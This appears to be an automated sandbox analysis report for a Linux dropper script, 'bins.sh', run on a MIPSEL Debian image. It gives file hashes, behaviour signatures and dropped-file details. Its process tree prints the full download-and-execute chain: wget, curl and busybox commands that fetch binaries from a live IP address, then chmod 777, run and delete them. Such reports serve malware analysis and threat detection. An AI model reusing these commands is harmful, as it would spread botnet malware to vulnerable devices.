Analysis

  • max time kernel
    150s
  • max time network
    133s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 09:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    4bc8a3083ffaa5e3a7da23f488fdc787

  • SHA1

    4cf7f88aa65a6b58c37c62251fcbdcb9a32b8283

  • SHA256

    90b55680af675591c28d288b43836fcee99e2f065fae6cec1ce9092d939169c2

  • SHA512

    3375c06b2f38ac637923d987d615c47304954aa37ef94736df70fee16b225f3d4262d4358a2f890986d00b36d84bde96fce65684ccee0a6e2cf4da71b268e8ac

  • SSDEEP

    192:0vzqMMKB1qHvD++MBje2aOorTKI++MBXaOorTHfMMMKB1AvC:ozqMMKB1qIe2aOorTKTaOorT/MMMKB1P

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          ./J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:748
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Writes file to tmp directory
            PID:759
          • /bin/chmod
            chmod 777 zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • File and Directory Permissions Modification
            PID:769
          • /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            ./zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
            • Executes dropped EXE
            PID:770
          • /bin/rm
            rm zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
            2⤵
              PID:773
            • /usr/bin/wget
              wget http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Writes file to tmp directory
              PID:774
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:788
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Writes file to tmp directory
              PID:801
            • /bin/chmod
              chmod 777 UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • File and Directory Permissions Modification
              PID:803
            • /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              ./UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
              • Executes dropped EXE
              PID:804
            • /bin/rm
              rm UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
              2⤵
                PID:806
              • /usr/bin/wget
                wget http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Writes file to tmp directory
                PID:807
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:809

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU

              Filesize

              112KB

              MD5

              05d7857dcead18bbd86d2935f591873c

              SHA1

              34d18f41ef35f93d5364ce3e24d74730a4e91985

              SHA256

              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

              SHA512

              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

            • /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU

              Filesize

              88KB

              MD5

              e2b540b681f1749e292cbce539c2f2db

              SHA1

              c0141dcebbc6f294212f3a454d804735aff08512

              SHA256

              775c74a336e4312c7b2f5a52ff4647ac3200cdf44cc9fddaa5f4562bfe936b12

              SHA512

              01dd70e6b3540f3604d0961d08b68bb42f8e80b4d6dd8d5df479c7403c608680d8add0c8bbddb27683222fba7ebd4e4ed1ac96c2f577140006ad417d1bcbaff4

            • /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b

              Filesize

              151KB

              MD5

              3c90d5820bddcf7c5d1bd21dfa49d958

              SHA1

              5ba05bd489e50af97d6dc45e3a0be60e494d5083

              SHA256

              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

              SHA512

              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

            • /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI

              Filesize

              107KB

              MD5

              eb9c3a0de91fcf16ba17cb24608df68c

              SHA1

              09d95a7d70d5e115d103be51edff7c498d272fac

              SHA256

              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

              SHA512

              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

            • /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB

              Filesize

              111KB

              MD5

              ca897a38f23ec23521ce0b1b83f8422d

              SHA1

              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

              SHA256

              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

              SHA512

              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb